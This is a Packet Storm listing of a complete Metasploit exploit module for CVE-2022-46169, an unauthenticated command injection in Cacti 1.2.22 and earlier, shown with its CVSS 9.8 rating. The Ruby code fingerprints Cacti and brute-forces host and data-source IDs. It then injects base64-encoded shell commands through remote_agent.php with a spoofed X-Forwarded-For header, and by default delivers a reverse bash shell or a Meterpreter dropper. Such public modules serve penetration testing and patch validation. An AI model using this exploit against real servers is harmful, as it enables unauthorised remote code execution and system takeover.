Lucene search

K
packetstormMr_me, Erik Wynter, Stefan Schiller, Owen Gong, metasploit.comPACKETSTORM:170714
HistoryJan 24, 2023 - 12:00 a.m.

Cacti 1.2.22 Command Injection

2023-01-2400:00:00
mr_me, Erik Wynter, Stefan Schiller, Owen Gong, metasploit.com
packetstormsecurity.com
209

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cacti 1.2.22 unauthenticated command injection',  
'Description' => %q{  
This module exploits an unauthenticated command injection  
vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in  
order to achieve unauthenticated remote code execution as the  
www-data user.  
  
The module first attempts to obtain the Cacti version to see  
if the target is affected. If LOCAL_DATA_ID and/or HOST_ID  
are not set, the module will try to bruteforce the missing  
value(s). If a valid combination is found, the module will  
use these to attempt exploitation. If LOCAL_DATA_ID and/or  
HOST_ID are both set, the module will immediately attempt  
exploitation.  
  
During exploitation, the module sends a GET request to  
/remote_agent.php with the action parameter set to polldata  
and the X-Forwarded-For header set to the provided value for  
X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the  
poller_id parameter is set to the payload and the host_id  
and local_data_id parameters are set to the bruteforced or  
provided values. If X_FORWARDED_FOR_IP is set to an address  
that is resolvable to a hostname in the poller table, and the  
local_data_id and host_id values are vulnerable, the payload  
set for poller_id will be executed by the target.  
  
This module has been successfully tested against Cacti  
version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Stefan Schiller', # discovery (independent of Steven Seeley)  
'Steven Seeley', # (mr_me) @steventseeley - discovery (independent of Stefan Schiller)  
'Owen Gong', # @phithon_xg - vulhub PoC  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' => [  
['CVE', '2022-46169'],  
['URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf'], # disclosure and technical details  
['URL', 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169'], # vulhub vulnerable docker image and PoC  
['URL', 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution'] # analysis by Stefan Schiller  
],  
'DefaultOptions' => {  
'RPORT' => 8080  
},  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Automatic (Unix In-Memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },  
'Type' => :unix_memory  
}  
],  
[  
'Automatic (Linux Dropper)',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'CmdStagerFlavor' => ['echo', 'printf', 'wget', 'curl'],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },  
'Type' => :linux_dropper  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '2022-12-05',  
'DefaultTarget' => 1,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'The base path to Cacti', '/']),  
OptString.new('X_FORWARDED_FOR_IP', [true, 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.', '127.0.0.1']),  
OptInt.new('HOST_ID', [false, 'The host_id value to use. By default, the module will try to bruteforce this.']),  
OptInt.new('LOCAL_DATA_ID', [false, 'The local_data_id value to use. By default, the module will try to bruteforce this.'])  
])  
  
register_advanced_options([  
OptInt.new('MIN_HOST_ID', [true, 'Lower value for the range of possible host_id values to check for', 1]),  
OptInt.new('MAX_HOST_ID', [true, 'Upper value for the range of possible host_id values to check for', 5]),  
OptInt.new('MIN_LOCAL_DATA_ID', [true, 'Lower value for the range of possible local_data_id values to check for', 1]),  
OptInt.new('MAX_LOCAL_DATA_ID', [true, 'Upper value for the range of possible local_data_id values to check for', 100])  
])  
end  
  
def check  
# sanity check to see if the target is likely Cacti  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
})  
  
unless res  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res.code == 200 && res.body.include?('<title>Login to Cacti')  
return CheckCode::Safe('Target is not a Cacti application.')  
end  
  
# get the version  
version = res.body.scan(/Version (.*?) \| \(c\)/)&.flatten&.first  
if version.blank?  
return CheckCode::Detected('Could not determine the Cacti version: the HTTP response body did not match the expected format.')  
end  
  
begin  
if Rex::Version.new(version) <= Rex::Version.new('1.2.22')  
return CheckCode::Appears("The target is Cacti version #{version}")  
else  
return CheckCode::Safe("The target is Cacti version #{version}")  
end  
rescue StandardError => e  
return CheckCode::Unknown("Failed to obtain a valid Cacti version: #{e}")  
end  
end  
  
def exploitable_rrd_names  
[  
'apache_total_kbytes',  
'apache_total_hits',  
'apache_total_hits',  
'apache_total_kbytes',  
'apache_cpuload',  
'boost_avg_size',  
'boost_peak_memory',  
'boost_records',  
'boost_table',  
'ExportDuration',  
'ExportGraphs',  
'syslogRuntime',  
'tholdRuntime',  
'polling_time',  
'uptime',  
]  
end  
  
def brute_force_ids  
# perform a sanity check first  
if @host_id  
host_ids = [@host_id]  
else  
if datastore['MAX_HOST_ID'] < datastore['MIN_HOST_ID']  
fail_with(Failure::BadConfig, 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible')  
end  
host_ids = (datastore['MIN_HOST_ID']..datastore['MAX_HOST_ID']).to_a  
end  
  
if @local_data_id  
local_data_ids = [@local_data_ids]  
else  
if datastore['MAX_LOCAL_DATA_ID'] < datastore['MIN_LOCAL_DATA_ID']  
fail_with(Failure::BadConfig, 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible')  
end  
local_data_ids = (datastore['MIN_LOCAL_DATA_ID']..datastore['MAX_LOCAL_DATA_ID']).to_a  
end  
  
# lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id  
max_attempts = host_ids.length * local_data_ids.length  
if max_attempts > 1000  
fail_with(Failure::BadConfig, 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.')  
end  
  
potential_targets = []  
request_ct = 0  
  
print_status("Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{max_attempts} combinations")  
host_ids.each do |h_id|  
print_status("Enumerating local_data_id values for host_id #{h_id}")  
local_data_ids.each do |ld_id|  
request_ct += 1  
print_status("Performing request #{request_ct}...") if request_ct % 25 == 0  
  
res = send_request_cgi(remote_agent_request(ld_id, h_id, rand(1..1000)))  
unless res  
print_error('No response received. Aborting bruteforce')  
return nil  
end  
  
unless res.code == 200  
print_error("Received unexpected response code #{res.code}. This shouldn't happen. Aborting bruteforce")  
return nil  
end  
  
begin  
parsed_response = JSON.parse(res.body)  
rescue JSON::ParserError  
print_error("The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce")  
return nil  
end  
  
unless parsed_response.is_a?(Array)  
print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")  
return nil  
end  
  
# the array can be empty, which is not an error but just means the local_data_id is not exploitable  
next if parsed_response.empty?  
  
first_item = parsed_response.first  
unless first_item.is_a?(Hash) && ['value', 'rrd_name', 'local_data_id'].all? { |key| first_item.keys.include?(key) }  
print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")  
return nil  
end  
  
# some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array  
# if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it  
# in addition, some data source types have an empty rrd_name but are still exploitable  
# however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it  
# instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end  
# then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options  
rrd_name = first_item['rrd_name']  
if rrd_name.empty?  
potential_targets << [h_id, ld_id]  
elsif exploitable_rrd_names.include?(rrd_name)  
print_good("Found exploitable local_data_id #{ld_id} for host_id #{h_id}")  
return [h_id, ld_id]  
else  
next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on  
end  
end  
end  
  
return nil if potential_targets.empty?  
  
# inform the user about potential targets  
print_warning("Identified #{potential_targets.length} host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:")  
potential_targets.each do |h_id, ld_id|  
print_line("\thost_id: #{h_id} - local_data_id: #{ld_id}")  
end  
print_status('You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options')  
nil  
end  
  
def execute_command(cmd, _opts = {})  
# use base64 encoding to get around special char limitations  
cmd = "`echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/bash`"  
send_request_cgi(remote_agent_request(@local_data_id, @host_id, cmd), 0)  
end  
  
def exploit  
@host_id = datastore['HOST_ID'] if datastore['HOST_ID'].present?  
@local_data_id = datastore['LOCAL_DATA_ID'] if datastore['LOCAL_DATA_ID'].present?  
  
unless @host_id && @local_data_id  
brute_force_result = brute_force_ids  
unless brute_force_result  
fail_with(Failure::NoTarget, 'Failed to identify an exploitable host_id - local_data_id combination.')  
end  
@host_id, @local_data_id = brute_force_result  
end  
  
if target.arch.first == ARCH_CMD  
print_status('Executing the payload. This may take a few seconds...')  
execute_command(payload.encoded)  
else  
execute_cmdstager(background: true)  
end  
end  
  
def remote_agent_request(ld_id, h_id, poller_id)  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'remote_agent.php'),  
'headers' => {  
'X-Forwarded-For' => datastore['X_FORWARDED_FOR_IP']  
},  
'vars_get' => {  
'action' => 'polldata',  
'local_data_ids[0]' => ld_id,  
'host_id' => h_id,  
'poller_id' => poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload  
}  
}  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H